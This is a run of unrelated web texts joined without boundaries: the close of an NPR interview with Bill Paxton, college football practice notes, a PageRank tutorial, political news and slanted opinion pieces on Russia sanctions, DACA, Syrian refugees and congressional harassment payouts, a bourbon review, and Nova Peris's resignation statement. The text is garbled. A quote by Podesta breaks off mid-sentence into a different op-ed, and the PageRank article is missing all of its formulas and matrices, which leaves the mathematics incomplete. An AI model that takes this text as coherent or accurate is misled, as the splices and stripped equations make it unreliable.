THORNTON: (As Jacob) Where do you think the money went? No, you think he spent it all on the farm. I'll tell you exactly where the money went - four years of college, bud. Yeah. Didn't you ever think about how he paid for that? Didn't that ever occur to you?
B. PAXTON: (As Hank) No, my tuition was...
THORNTON: (As Jacob) Listen. I'm supposed to get the farm. What do I get? I'm supposed to get the farm.
B. PAXTON: (As Hank) Jacob, you got the whole world. You can...
THORNTON: (As Jacob) I don't want to hear that.
B. PAXTON: (As Hank) You can go anywhere you want.
THORNTON: (As Jacob) This is what I want. This is where I want to be. It's my home, Hank.
GROSS: That's Billy Bob Thornton and my guest Bill Paxton in a scene from "A Simple Plan."
B. PAXTON: That's a very poignant scene, the idea that the brother Jacob wants to stay and fix up the old farm. That movie has - is an intensely personal film for me because my relationship with my older brother, Bob, who is a - one of the great gentle lambs of the world, but I think in his heart of hearts he wishes we still all lived on Indian Creek Drive in Fort Worth, Texas, and he's had a tough adulthood and been through a lot of stuff. I drew off of that relationship. So for me, being in the movie was, again, it was very, very personal.
GROSS: In what other ways does he remind you of the brother in your movie?
B. PAXTON: He has the same kind of sly sense of humor, my brother, and has kind of a penchant for saying the, you know - the appropriate thing at the awkward moment. Actually, I had Billy talk to my brother on the phone several times, and he drew his character from my brother as well as kind of the innocence of his own relationship and the innocence of his own children. He was kind of playing that innocence in the role.
GROSS: Did you feel a responsibility to guide your brother in the same way that your character feels a responsibility toward his brother in the movie?
B. PAXTON: Yeah. I've been very involved in my brother's life. He's kind of my closest sibling in many ways just because physically we grew up together. We went to camps together, and after his accident when he was 24.
GROSS: What accident?
B. PAXTON: He was in a car accident and lost most of his eyesight, and he had had emotional problems before that and just compounded everything. He came up and lived with me in New York City. I was struggling. I remember I was working as a doorman at the Paramount Theater up on - up in Columbus Circle there. And we lived in a - kind of a one-room flat with my girlfriend down in the East Village. And those were kind of tough times, but we look back, and we laugh about it now. We've always been close, my brother and I.
GROSS: You got started in movies working on Roger Corman low-budget films. Which ones did you work on?
B. PAXTON: My first film, I was as a set dresser in the art department on a movie called "Big Bad Mama" that starred Angie Dickinson, William Shatner, Tom Skerritt and Linda Purl. I had a 20-foot van, a panel van just full of everything from phony Saguaro cactuses to all kinds of period furniture and things. This was a period film set in the early '30s, so I had an old - I think - 1929 Sears and Roebuck catalog that I kind of used as a guide to pick out furnishings.
GROSS: What's the coolest or most unusual thing you had to find?
B. PAXTON: Well, that's a good question. Let me - I'd have to think back. Those Saguaro cactuses were pretty bizarre from Walter Allen Plant Rental. I remember going to places like - that are no longer - this was, you know, in the mid-'70s I remember going to Western Costume. It was a giant eight-story costume house right next to the Paramount Studios. You'd pull the shirt off the rack, and it might say made expressly for Tom Mix or John Wayne or Gary Cooper.
And the people that who had to work there - it was kind of a generational-type of job. There were people who worked there going back to silent films, and I guess I've always loved the history of the business I'm in, and it's a shame that more of it hasn't been preserved out here.
GROSS: Bill Paxton died Saturday at the age of 61. Our interview was recorded in 2002. Tomorrow on FRESH AIR, we'll talk about the connection between bipolar disorder and creativity. My guest will be Kay Redfield Jamison who has written extensively on this subject. Her new book focuses on the Pulitzer Prize-winning poet Robert Lowell and the connection between genius and mania in his life. Jamison is also the author of a memoir about her own experiences living with bipolar disorder. I hope you'll join us.
FRESH AIR's executive producer is Danny Miller. Our technical director and engineer is Audrey Bentham. Our associate producer for online media is Molly Seavy-Nesper. Roberta Shorrock directs the show. I'm Terry Gross.
Copyright © 2017 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.The Arizona State football team has its sights set on a Pac-12 Championship, but Todd Graham isn't going to be the person to lead the Sun Devils to the Rose Bowl.
Instead, Graham wants to take a back seat and watch as his players unite behind their senior leaders this season.
"Everything that you do in the first year is all Coach Graham's," Graham said. "It has to be theirs. Their team, they have to take over their team, take charge of their team."
One of the most vocal leaders throughout Graham's tenure has been safety Alden Darby, who was rewarded for his efforts by donning the camouflage Pat Tillman No. 42 jersey at practice on Sunday. Graham praised Darby's work ethic and commitment to the program, and on Monday, he found him a suitable partner to match jerseys with.
Cornerback Osahon Irabor arrived at Monday's practice donning the camouflage uniform and Graham spoke about the significance of having Irabor in the jersey.
"He's brought it every rep, every day, he's leading by example," Graham said. "There's no question that No. 4 (Darby) does that every day and Irabor has done that to this point."
Two members of the defense have proven that they embody the ideal characteristics of a Sun Devil athlete, but Graham let the media know on Monday that he's looking for an offensive player to step up and display some leadership too.
"Those are not just a defensive deal, that's an offensive and a defensive deal," Graham said. "If I put one on somebody on offense it would probably be Taylor (Kelly) right now."
Graham is high on his starting quarterback for a number of reasons, but he thinks the maturity and attitude that Kelly brings to the field are among his best qualities. Not surprisingly, Kelly isn't the only player in consideration for a Tillman jersey.
"I think Kody Koebensky is pretty close, and Fink's (Evan Finkenberg) over there so you know we just have to make sure that if you look out here and see 11 of them, we've got a chance," Graham said. "Right now you only see two so we've got a ways to go."
Practice Notes From Monday
Graham praised wide receiver Kevin Ozier for battling through injuries during camp and helping speed the progress of the newcomers at wide receiver.
"I've been really proud of Kevin, what a great story," Graham said. "One of the best things I've done since I got here was give him a scholarship. He's taken great ownership of these freshmen receivers, and the leadership he's provided this spring."
Kyle Middlebrooks' return to practice this week has gone over well, but he's still adjusting to the workload after missing significant time with a knee injury. Graham left open the possibility of Middlebrooks redshirting, but he said the Sun Devils would likely need him to contribute this season.
With 25 newcomers on the field, the coaching staff has had its hands full getting everyone up to speed. Graham is relying heavily on his senior leaders because they understand the importance of discipline, and Graham does not want to take a step backward this season.
The Sun Devils will wear pads at practice on Thursdays this year. The reason? The newcomers are going to be seeing the field a lot, and they need every rep they can get in full pads. Graham consulted with Will Sutton and other key players on the issue and said they supported practicing in pads.
The punters practiced coffin corner punts today and Dom Vizzare fared better than freshman Matt Haack. Haack's advantage comes from being a scholarship player, but Vizzare has put together an impressive offseason.How Google Finds Your Needle in the Web's Haystack
As we'll see, the trick is to ask the web itself to rank the importance of pages...
David Austin
Grand Valley State University
david at merganser.math.gvsu.edu
Imagine a library containing 25 billion documents but with no centralized organization and no librarians. In addition, anyone may add a document at any time without telling anyone. You may feel sure that one of the documents contained in the collection has a piece of information that is vitally important to you, and, being impatient like most of us, you'd like to find it in a matter of seconds. How would you go about doing it?
Posed in this way, the problem seems impossible. Yet this description is not too different from the World Wide Web, a huge, highly-disorganized collection of documents in many different formats. Of course, we're all familiar with search engines (perhaps you found this article using one) so we know that there is a solution. This article will describe Google's PageRank algorithm and how it returns pages from the web's collection of 25 billion documents that match search criteria so well that "google" has become a widely used verb.
Most search engines, including Google, continually run an army of computer programs that retrieve pages from the web, index the words in each document, and store this information in an efficient format. Each time a user asks for a web search using a search phrase, such as "search engine," the search engine determines all the pages on the web that contains the words in the search phrase. (Perhaps additional information such as the distance between the words "search" and "engine" will be noted as well.) Here is the problem: Google now claims to index 25 billion pages. Roughly 95% of the text in web pages is composed from a mere 10,000 words. This means that, for most searches, there will be a huge number of pages containing the words in the search phrase. What is needed is a means of ranking the importance of the pages that fit the search criteria so that the pages can be sorted with the most important pages at the top of the list.
One way to determine the importance of pages is to use a human-generated ranking. For instance, you may have seen pages that consist mainly of a large number of links to other resources in a particular area of interest. Assuming the person maintaining this page is reliable, the pages referenced are likely to be useful. Of course, the list may quickly fall out of date, and the person maintaining the list may miss some important pages, either unintentionally or as a result of an unstated bias.
Google's PageRank algorithm assesses the importance of web pages without human evaluation of the content. In fact, Google feels that the value of its service is largely in its ability to provide unbiased results to search queries; Google claims, "the heart of our software is PageRank." As we'll see, the trick is to ask the web itself to rank the importance of pages.
How to tell who's important
If you've ever created a web page, you've probably included links to other pages that contain valuable, reliable information. By doing so, you are affirming the importance of the pages you link to. Google's PageRank algorithm stages a monthly popularity contest among all pages on the web to decide which pages are most important. The fundamental idea put forth by PageRank's creators, Sergey Brin and Lawrence Page, is this: the importance of a page is judged by the number of pages linking to it as well as their importance.
We will assign to each web page P a measure of its importance I(P), called the page's PageRank. At various sites, you may find an approximation of a page's PageRank. (For instance, the home page of The American Mathematical Society currently has a PageRank of 8 on a scale of 10. Can you find any pages with a PageRank of 10?) This reported value is only an approximation since Google declines to publish actual PageRanks in an effort to frustrate those would manipulate the rankings.
Here's how the PageRank is determined. Suppose that page P j has l j links. If one of those links is to page P i, then P j will pass on 1/l j of its importance to P i. The importance ranking of P i is then the sum of all the contributions made by pages linking to it. That is, if we denote the set of pages linking to P i by B i, then
This may remind you of the chicken and the egg: to determine the importance of a page, we first need to know the importance of all the pages linking to it. However, we may recast the problem into one that is more mathematically familiar.
Let's first create a matrix, called the hyperlink matrix, in which the entry in the ith row and jth column is
Notice that H has some special properties. First, its entries are all nonnegative. Also, the sum of the entries in a column is one unless the page corresponding to that column has no links. Matrices in which all the entries are nonnegative and the sum of the entries in every column is one are called stochastic; they will play an important role in our story.
We will also form a vector whose components are PageRanks--that is, the importance rankings--of all the pages. The condition above defining the PageRank may be expressed as
In other words, the vector I is an eigenvector of the matrix H with eigenvalue 1. We also call this a stationary vector of H.
Let's look at an example. Shown below is a representation of a small collection (eight) of web pages with links represented by arrows.
The corresponding matrix is
with stationary vector
This shows that page 8 wins the popularity contest. Here is the same figure with the web pages shaded in such a way that the pages with higher PageRanks are lighter.
Computing I
There are many ways to find the eigenvectors of a square matrix. However, we are in for a special challenge since the matrix H is a square matrix with one column for each web page indexed by Google. This means that H has about n = 25 billion columns and rows. However, most of the entries in H are zero; in fact, studies show that web pages have an average of about 10 links, meaning that, on average, all but 10 entries in every column are zero. We will choose a method known as the power method for finding the stationary vector I of the matrix H.
How does the power method work? We begin by choosing a vector I 0 as a candidate for I and then producing a sequence of vectors I k by
The method is founded on the following general principle that we will soon investigate.
General principle: The sequence I k will converge to the stationary vector I.
We will illustrate with the example above.
I 0 I 1 I 2 I 3 I 4... I 60 I 61 1 0 0 0 0.0278... 0.06 0.06 0 0.5 0.25 0.1667 0.0833... 0.0675 0.0675 0 0.5 0 0 0... 0.03 0.03 0 0 0.5 0.25 0.1667... 0.0675 0.0675 0 0 0.25 0.1667 0.1111... 0.0975 0.0975 0 0 0 0.25 0.1806... 0.2025 0.2025 0 0 0 0.0833 0.0972... 0.18 0.18 0 0 0 0.0833 0.3333... 0.295 0.295
It is natural to ask what these numbers mean. Of course, there can be no absolute measure of a page's importance, only relative measures for comparing the importance of two pages through statements such as "Page A is twice as important as Page B." For this reason, we may multiply all the importance rankings by some fixed quantity without affecting the information they tell us. In this way, we will always assume, for reasons to be explained shortly, that the sum of all the popularities is one.
Three important questions
Three questions naturally come to mind:
Does the sequence I k always converge?
always converge? Is the vector to which it converges independent of the initial vector I 0?
? Do the importance rankings contain the information that we want?
Given the current method, the answer to all three questions is "No!" However, we'll see how to modify our method so that we can answer "yes" to all three.
Let's first look at a very simple example. Consider the following small web consisting of two web pages, one of which links to the other:
with matrix
Here is one way in which our algorithm could proceed:
I 0 I 1 I 2 I 3=I 1 0 0 0 0 1 0 0
In this case, the importance rating of both pages is zero, which tells us nothing about the relative importance of these pages. The problem is that P 2 has no links. Consequently, it takes some of the importance from page P 1 in each iterative step but does not pass it on to any other page. This has the effect of draining all the importance from the web. Pages with no links are called dangling nodes, and there are, of course, many of them in the real web we want to study. We'll see how to deal with them in a minute, but first let's consider a new way of thinking about the matrix H and stationary vector I.
A probabilitistic interpretation of H
Imagine that we surf the web at random; that is, when we find ourselves on a web page, we randomly follow one of its links to another page after one second. For instance, if we are on page P j with l j links, one of which takes us to page P i, the probability that we next end up on P i page is then.
As we surf randomly, we will denote by the fraction of time that we spend on page P j. Then the fraction of the time that we end up on page P i page coming from P j is. If we end up on P i, we must have come from a page linking to it. This means that
where the sum is over all the pages P j linking to P i. Notice that this is the same equation defining the PageRank rankings and so. This allows us to interpret a web page's PageRank as the fraction of time that a random surfer spends on that web page. This may make sense if you have ever surfed around for information about a topic you were unfamiliar with: if you follow links for a while, you find yourself coming back to some pages more often than others. Just as "All roads lead to Rome," these are typically more important pages.
Notice that, given this interpretation, it is natural to require that the sum of the entries in the PageRank vector I be one.
Of course, there is a complication in this description: If we surf randomly, at some point we will surely get stuck at a dangling node, a page with no links. To keep going, we will choose the next page at random; that is, we pretend that a dangling node has a link to every other page. This has the effect of modifying the hyperlink matrix H by replacing the column of zeroes corresponding to a dangling node with a column in which each entry is 1/n. We call this new matrix S.
In our previous example, we now have
with matrix and eigenvector
In other words, page P 2 has twice the importance of page P 1, which may feel about right to you.
The matrix S has the pleasant property that the entries are nonnegative and the sum of the entries in each column is one. In other words, it is stochastic. Stochastic matrices have several properties that will prove useful to us. For instance, stochastic matrices always have stationary vectors.
For later purposes, we will note that S is obtained from H in a simple way. If A is the matrix whose entries are all zero except for the columns corresponding to dangling nodes, in which each entry is 1/n, then S = H + A.
How does the power method work?
In general, the power method is a technique for finding an eigenvector of a square matrix corresponding to the eigenvalue with the largest magnitude. In our case, we are looking for an eigenvector of S corresponding to the eigenvalue 1. Under the best of circumstances, to be described soon, the other eigenvalues of S will have a magnitude smaller than one; that is, if is an eigenvalue of S other than 1.
We will assume that the eigenvalues of S are and that
We will also assume that there is a basis v j of eigenvectors for S with corresponding eigenvalues. This assumption is not necessarily true, but with it we may more easily illustrate how the power method works. We may write our initial vector I 0 as
Then
Since the eigenvalues with have magnitude smaller than one, it follows that if and therefore, an eigenvector corresponding to the eigenvalue 1.
It is important to note here that the rate at which is determined by. When is relatively close to 0, then relatively quickly. For instance, consider the matrix
The eigenvalues of this matrix are and. In the figure below, we see the vectors I k, shown in red, converging to the stationary vector I shown in green.
Now consider the matrix
Here the eigenvalues are and. Notice how the vectors I k converge more slowly to the stationary vector I in this example in which the second eigenvalue has a larger magnitude.
When things go wrong
In our discussion above, we assumed that the matrix S had the property that and. This does not always happen, however, for the matrices S that we might find.
Suppose that our web looks like this:
In this case, the matrix S is
Then we see
I 0 I 1 I 2 I 3 I 4 I 5 1 0 0 0 0 1 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 1 0
In this case, the sequence of vectors I k fails to converge. Why is this? The second eigenvalue of the matrix S satisfies and so the argument we gave to justify the power method no longer holds.
To guarantee that, we need the matrix S to be primitive. This means that, for some m, Sm has all positive entries. In other words, if we are given two pages, it is possible to get from the first page to the second after following m links. Clearly, our most recent example does not satisfy this property. In a moment, we will see how to modify our matrix S to obtain a primitive, stochastic matrix, which therefore satisfies.
Here's another example showing how our method can fail. Consider the web shown below.
In this case, the matrix S is
with stationary vector
Notice that the PageRanks assigned to the first four web pages are zero. However, this doesn't feel right: each of these pages has links coming to them from other pages. Clearly, somebody likes these pages! Generally speaking, we want the importance rankings of all pages to be positive. The problem with this example is that it contains a smaller web within it, shown in the blue box below.
Links come into this box, but none go out. Just as in the example of the dangling node we discussed above, these pages form an "importance sink" that drains the importance out of the other four pages. This happens when the matrix S is reducible; that is, S can be written in block form as
Indeed, if the matrix S is irreducible, we can guarantee that there is a stationary vector with all positive entries.
A web is called strongly connected if, given any two pages, there is a way to follow links from the first page to the second. Clearly, our most recent example is not strongly connected. However, strongly connected webs provide irreducible matrices S.
To summarize, the matrix S is stochastic, which implies that it has a stationary vector. However, we need S to also be (a) primitive so that and (b) irreducible so that the stationary vector has all positive entries.
A final modification
To find a new matrix that is both primitive and irreducible, we will modify the way our random surfer moves through the web. As it stands now, the movement of our random surfer is determined by S: either he will follow one of the links on his current page or, if at a page with no links, randomly choose any other page to move to. To make our modification, we will first choose a parameter between 0 and 1. Now suppose that our random surfer moves in a slightly different way. With probability, he is guided by S. With probability, he chooses the next page at random.
If we denote by 1 the matrix whose entries are all one, we obtain the Google matrix:
Notice now that G is stochastic as it is a combination of stochastic matrices. Furthermore, all the entries of G are positive, which implies that G is both primitive and irreducible. Therefore, G has a unique stationary vector I that may be found using the power method.
The role of the parameter is an important one. Notice that if, then G = S. This means that we are working with the original hyperlink structure of the web. However, if, then. In other words, the web we are considering has a link between any two pages and we have lost the original hyperlink structure of the web. Clearly, we would like to take close to 1 so that we hyperlink structure of the web is weighted heavily into the computation.
However, there is another consideration. Remember that the rate of convergence of the power method is governed by the magnitude of the second eigenvalue. For the Google matrix, it has been proven that the magnitude of the second eigenvalue. This means that when is close to 1 the convergence of the power method will be very slow. As a compromise between these two competing interests, Serbey Brin and Larry Page, the creators of PageRank, chose.
Computing I
What we've described so far looks like a good theory, but remember that we need to apply it to matrices where n is about 25 billion! In fact, the power method is especially well-suited to this situation.
Remember that the stochastic matrix S may be written as
and therefore the Google matrix has the form
Therefore,
Now recall that most of the entries in H are zero; on average, only ten entries per column are nonzero. Therefore, evaluating HI k requires only ten nonzero terms for each entry in the resulting vector. Also, the rows of A are all identical as are the rows of 1. Therefore, evaluating AI k and 1I k amounts to adding the current importance rankings of the dangling nodes or of all web pages. This only needs to be done once.
With the value of chosen to be near 0.85, Brin and Page report that 50 - 100 iterations are required to obtain a sufficiently good approximation to I. The calculation is reported to take a few days to complete.
Of course, the web is continually changing. First, the content of web pages, especially for news organizations, may change frequently. In addition, the underlying hyperlink structure of the web changes as pages are added or removed and links are added or removed. It is rumored that Google recomputes the PageRank vector I roughly every month. Since the PageRank of pages can be observed to fluctuate considerably during this time, it is known to some as the Google Dance. (In 2002, Google held a Google Dance!)
Summary
Brin and Page introduced Google in 1998, a time when the pace at which the web was growing began to outstrip the ability of current search engines to yield useable results. At that time, most search engines had been developed by businesses who were not interested in publishing the details of how their products worked. In developing Google, Brin and Page wanted to "push more development and understanding into the academic realm." That is, they hoped, first of all, to improve the design of search engines by moving it into a more open, academic environment. In addition, they felt that the usage statistics for their search engine would provide an interesting data set for research. It appears that the federal government, which recently tried to gain some of Google's statistics, feels the same way.
There are other algorithms that use the hyperlink structure of the web to rank the importance of web pages. One notable example is the HITS algorithm, produced by Jon Kleinberg, which forms the basis of the Teoma search engine. In fact, it is interesting to compare the results of searches sent to different search engines as a way to understand why some complain of a Googleopoly.
References
Michael Berry, Murray Browne, Understanding Search Engines: Mathematical Modeling and Text Retrieval. Second Edition, SIAM, Philadelphia. 2005.
, Understanding Search Engines: Mathematical Modeling and Text Retrieval. Second Edition, SIAM, Philadelphia. 2005. Sergey Brin, Lawrence Page, The antaomy of a large-scale hypertextual Web search engine, Computer Networks and ISDN Systems, 33 : 107-17, 1998. Also available online at http://infolab.stanford.edu/pub/papers/google.pdf
, The antaomy of a large-scale hypertextual Web search engine, Computer Networks and ISDN Systems, : 107-17, 1998. Also available online at http://infolab.stanford.edu/pub/papers/google.pdf Kurt Bryan, Tanya Leise, The $25,000,000,000 eigenvector. The linear algebra behind Google. SIAM Review, 48 (3), 569-81. 2006. Also avaiable at http://www.rose-hulman.edu/~bryan/google.html
, The $25,000,000,000 eigenvector. The linear algebra behind Google. SIAM Review, 48 (3), 569-81. 2006. Also avaiable at http://www.rose-hulman.edu/~bryan/google.html Google Corporate Information: Technology.
Taher Haveliwala, Sepandar Kamvar, The second eigenvalue of the Google matrix.
, The second eigenvalue of the Google matrix. Amy Langville, Carl Meyer, Google's PageRank and Beyond: The Science of Search Engine Rankings. Princeton University Press, 2006.
This is an informative, accessible book, written in an engaging style. Besides providing the relevant mathematical background and details of PageRank and its implementation (as well as Kleinberg's HITS algorithm), this book contains many interesting "Asides" that give trivia illuminating the context of search engine design.
David Austin
Grand Valley State University
david at merganser.math.gvsu.edu
NOTE: Those who can access JSTOR can find some of the papers mentioned above there. For those with access, the American Mathematical Society's MathSciNet can be used to get additional bibliographic information and reviews of some these materials. Some of the items above can be accessed via the ACM Portal, which also provides bibliographic services.Sen. Jeanne Shaheen is introducing sanctions that are meant to punish Russia over its alleged interference in the 2016 U.S. election. | AP Photo Shaheen seeks to revive Russia sanctions push The New Hampshire Democrat plans to introduce two amendments during a key Senate committee meeting Thursday.
Sen. Jeanne Shaheen wants to put Russia sanctions back on lawmakers’ agenda, even if it means facing off with the Republican chairman of the Senate Foreign Relations Committee.
Shaheen, a Democrat from New Hampshire, is planning to introduce two amendments at a committee meeting Thursday in an effort to increase sanctions on Moscow. The sanctions are meant to punish Russia over its alleged interference in the 2016 U.S. election.
Story Continued Below
One of the amendments would be tacked on to a bill to introduce new sanctions on Iran over its ballistic missile program and other activities, according to Shaheen's office. The other would be attached to a bill designed to help counter Russian meddling in Europe through means other than sanctions.
"The foot-dragging on Russian sanctions has gone on long enough," said Ryan Nickel, a spokesman for Shaheen. "There’s bipartisan agreement that it’s past time for the Senate to deliver a strong message to the Kremlin."
Sign up here for POLITICO Huddle A daily play-by-play of congressional news in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
The amendments incorporate previous Russia sanctions legislation that Senate Foreign Relations Chairman Bob Corker has been hesitant to take up, and Corker is expected to block Shaheen’s efforts.
The Tennessee Republican has said he’d rather wait until the Senate Intelligence Committee finishes its investigation into the alleged Russian malfeasance before going after Moscow using sanctions.
A few weeks ago, Corker reached an agreement with Sen. Ben Cardin of Maryland, the ranking Democrat on the committee, to avoid Russian sanctions measures for now. That decision irked Democrats as well as some Republicans who are eager to move against Moscow.
It also came amid growing concern about President Donald Trump's views on Russia. The president has dismissed intelligence assessments that Russia helped swing the 2016 election in his favor and has tried to mend fences with the Kremlin.
Corker aides did not immediately respond to a request for comment Wednesday. A Cardin aide declined to comment on Shaheen's plans but reiterated that Cardin strongly supports sanctioning Russia over its destabilizing activities.On Thursday’s broadcast of MSNBC’s “All In,” former Clinton Campaign Chairman John Podesta argued President Trump should “push forward” with the deal he reportedly struck with Congressional Democratic leaders and more border security in exchange for making DACA permanent would be good for the country.
Podesta said, “I think we got to get out of the politics of this a little bit and remember what’s at stake here, 800,000 young people, as President Trump himself tweeted this morning. good kids, hard-working, in school, in jobs, in the military. And I think that, last night he met with the two leaders. They struck a deal. And he should push forward with it. More border security in exchange for making DACA permanent, and that will be good for those young people. It will be good for the country. And I think a majority of the public would support that.”
Podesta added, “He’s gone a little bit back and forth on it through the course of the day, but he seemed to settle in the evening again, on the idea that these young people need relief. And he’s promised to give to it them. And I think that, if that means, you know, angering a couple of Breitbart readers and some talk radio hosts, then he should |
easily shed the correctly appointed carpetbagger label and settled into the Empire State as if she were a real state resident.
This is perhaps why she is so sympathetic to allowing undocumented, Syrian refugees to float into American ports and fly into American airports – and stay on U.S. soil without proper, if any, investigation into their backgrounds, agendas, and motives. She got away with little scrutiny over her slip-into-town-unnoticed-trot-plot. So, why not laud others for doing the same.
Clinton said, “We have always welcomed immigrants and refugees. We have made people feel that if they did their part, they sent their kids to school, they worked hard, there would be a place for them in America.” She added that shutting out the 10,000 Syrian refugees that President Obama wants to permit (and the extended 65,000 she wants to allow in) would subterfuge “who we are as Americans.”
Clinton is, thus, a fan of permitting these masses of Syrian refugees into the U.S. Donald Trump, who has no illicit immigration past, says not so fast.
The Republican’s top ranked presidential candidate stated, “I’m looking at this migration, it’s a terrible thing. I have a tremendous heart, I want to take care of people,” but, Trump continued, “We have no documentation on these people.”
Trump’s concern is a valid one. How can U.S. officials determine the political, moral, and ethical views of these thousands of people when they don’t even know their identities?
One may argue that the U.S. government has no right to ascertain such personal views. That’s true if these individuals were already American citizens – and where their views do not rise to the level of engaging in criminal conduct (i.e. terrorism). Even an American citizen can be lawfully detained and questioned – and arrested – if law enforcement has probable cause to believe that views have transcended into criminal conduct. But, ahh, yes, there isn’t an assertion that all, most, or maybe even any of the Syrian refugees are engaging in criminal, much less terrorist conduct.
But another “but” – they are NOT American citizens. They did not even go through the process of getting visas. Their arrival in the United States has occurred without any vetting – and in a very volatile time. The hard, cold reality is that they come from a country where many of its residents hate Americans – and where many want to kill Americans. Syria is a nation that currently is infested with ISIS and other radicals. Therefore, it is quite rational to insist, at minimum, that before any of these refugees walk freely into and about the United States, they are thoroughly investigated by the U.S. government. It is rather confounding that Democrats like Clinton and her former boss Barack Obama – who so fervently want the government involved in voluminous unwarranted manners in U.S. citizens’ lives – don’t want the government to carry out one of its only true constitutional mandates: to protect our borders.
In other words, some of these Syrian refugees could be ISIS members pretending to be refugees. Such a fear isn’t “fear mothering” as many liberals babble. It is a logical, reasonable fear. And it is logical and reasonable to resolve this issue by not permitting these refugees unfettered entrance into the United States, but instead to do what New York native Donald Trump suggests: send them back to Syria and build a “safe zone” for them in their own nation.
Trump proffered, “In Syria, take a big swatch of land…and build a big beautiful safe zone.”
The American government, in concert with allied countries, can allocate funds toward creating and supporting this safe zone area. In doing this, the refugees can live in their own country. Such a plan would be much cheaper for U.S. taxpayers than carrying the significant costs of harboring the Syrians on American soil. And, simply and realistically, while it’s not the politically correct solution that Clinton espouses, it’s the much safer solution – for Americans.
Comments disabled by site.
You may, however, comment through Facebook.We are big fans of the Louisville Distilling Company and Master Distiller Lincoln Henderson’s Angel’s Envy Bourbon. Angel’s Envy was one of the first significant brands to build their product around bourbon finished in port casks. Since then, finishing barrels have become an important part of the premium whiskey space and several companies (like Big Bottom Whiskey) have followed in Angel’s Envy’s footsteps. For Angel’s Envy, the concept was always to release a number of different batches of finished whiskey. The first round we reviewed got top marks from us, so we were excited to hear of another special limited release from the company.
Angel’s Envy Cask Strength Port Finished Bourbon Whiskey (121 Proof / 60.5% ABV, $149) – this limited edition release is painfully small with only 600 bottles released in Kentucky and Nashville. The special release features a perfume grade glass bottle, ceramic stamped, hand filled, and corked. Clearly aimed at the super whiskey enthusiast, purchasers of this special release will get a special invitation for a unique event to be held in January 2013 with Master Distiller Lincoln Henderson.
Dark amber in color, Angel’s Envy Cask Strength is significantly darker than the standard release. It’s clear that the spirit has spent much more time in the port finishing barrel and it’s taken on some of the dark tones from that barrel. The port finish is also clearly there on the nose which combines the lush port note with oak spice, clove, marzipan, and vanilla. The entry is extraordinarily approachable for a high proof spirit, with soft fruit and vanilla leading the charge with a gradual transition to oak spice in the midpalate. Things do get spicy and slightly fiery towards the end of the midpalate with solid oak, black pepper, and clove stepping out in front of the more lush sweet notes. The spirit does manage to maintain some balance between the strong spice and the sweet undertones, but that balance is elusive as the flavors exit quickly in a very dry finish.
Angel’s Envy Cask Strength isn’t a subtle product – it’s playing in a space with big bold whiskies like George T. Stagg – but it does manage to be bold in flavor without being too strong. Still, one of the things that really draws us to Angel’s Envy is it’s balance and finesse, the integration of flavors, and the play between the bourbon and port. Here those elements aren’t as balanced and there just isn’t the same level of finesse. Also, we just don’t love the finish, which is too dry with flavors disappearing before we’re done enjoying it.
While we prefer the standard Angel’s Envy, we imagine that rabid whiskey collectors will jump all over this release even at the high price tag. It’s great to see interesting releases like this in the whiskey category, but it’s also a great example that cask strength doesn’t always mean better.Greta Van Susteren Unleashes on Congress ‘It’s a Crime to Hide Personal Lawsuits Paid With Taxpayer Money’
Legal analyst and former news anchor for FOX, CNN and MSNBC, Greta Van Susteren unleashed on Congress Tuesday for secretly settling sexual harassment cases with taxpayer money.
Congress has a rampant sexual harassment problem. In fact the problem is so bad that female lawmakers and aides keep a ‘creep list’ of men who are notorious for lewd behavior.
Rep. Jackie Speier (D-CA) recently told MSNBC’s Chuck Todd that taxpayers have paid over $15 million to settle sexual harassment lawsuits against members of Congress!
TAXPAYER MONEY.
It was revealed Monday evening that Democrat Rep John Conyers has been accused of sexual harassment by multiple women. According to affidavits, Conyers used taxpayer money to fly women into D.C. to meet with him in hotel rooms!
CRIMINAL!
Greta Van Susteren tweeted, “If you settle (pay) a personal law suit with taxpayer money or company money without telling shareholders,you are committing a crime.”
If you settle (pay) a personal law suit with taxpayer money or company money without telling shareholders,you are committing a crime. — Greta Van Susteren (@greta) November 21, 2017
Some enterprising lawyers are going to go after those corps and politicians who do this…you can’t take someone else’s money without permission. https://t.co/toLH7v4Hrr — Greta Van Susteren (@greta) November 21, 2017
Stealing…and in some instances fraud. (And do you need a statute to know this is wrong? I don’t think so….) https://t.co/rSNLICJTQO — Greta Van Susteren (@greta) November 21, 2017
Why are members of Congress above the law? Hard working Americans are paying for their sexual deviancy and kept in the dark! Why are women being abused and intimidated while lawmakers stand by and do nothing?
We demand all names become public now. Every predator in Congress must be publicly shamed, forced to resign and pay back the taxpayers!Aboriginal Labor senator Nova Peris is stepping down from the senate and looks likely to become the AFL’s new head of diversity.
Senator Peris, who became the first Aboriginal Australian to win an Olympic gold medal as a member of the women’s hockey team at the 1996 Olympics, has just announced she’s quitting politics at the double dissolution election on July 2.
Peris was former prime minister Julia Gillard’s “captain’s pick” for Labor in the Northern Territory at the 2013 election. She was the first Aboriginal woman in parliament.
Here’s her statement:
After careful deliberation with my family, I have chosen not to re-contest my Senate seat in the upcoming Federal election.
It is my intention that I will serve out my term and fully support and endorse my replacement for the number one position on the Labor Senate ticket, whoever that might be.
As a Northern Territory Senator, it has been an incredible honour and privilege to serve and work hard for all of my constituents in the NT.
As the first Aboriginal female in Federal politics as well as the Labor Party’s first Aboriginal member in Federal Parliament I certainly had challenges, but none that I couldn’t handle or was not prepared for, having already lived a very public and documented life.
Australia is a great multicultural nation that I have been proud to represent – in sport and politics – over the past 16 years.
I reject – like most Australians – the racism that Aboriginal people still have to contend with in this country.
As a champion of change I will continue to fight racism and prejudice.
I am pleased to see that the Labor Party has committed to affirmative action, endorsing six Aboriginal candidates for this Federal election.
I look forward to witnessing my Uncle, Senator Pat Dodson, holding ministerial office. He would be a great Minister for Aboriginal and Torres Strait Islander Affairs.
I wish our leaders Bill Shorten in the House of Representatives and Penny Wong in the Senate all the best as well as all of my caucus colleagues and mates for this upcoming Federal election.
Special thanks to Mark Butler and George Wright for their vision and especially my own staff who supported me so well and also took up the fight for the NT.
To the NT Labor party members, I’m truly grateful for your faith in me which saw my 2016 Senate nomination elected unopposed for a second term.
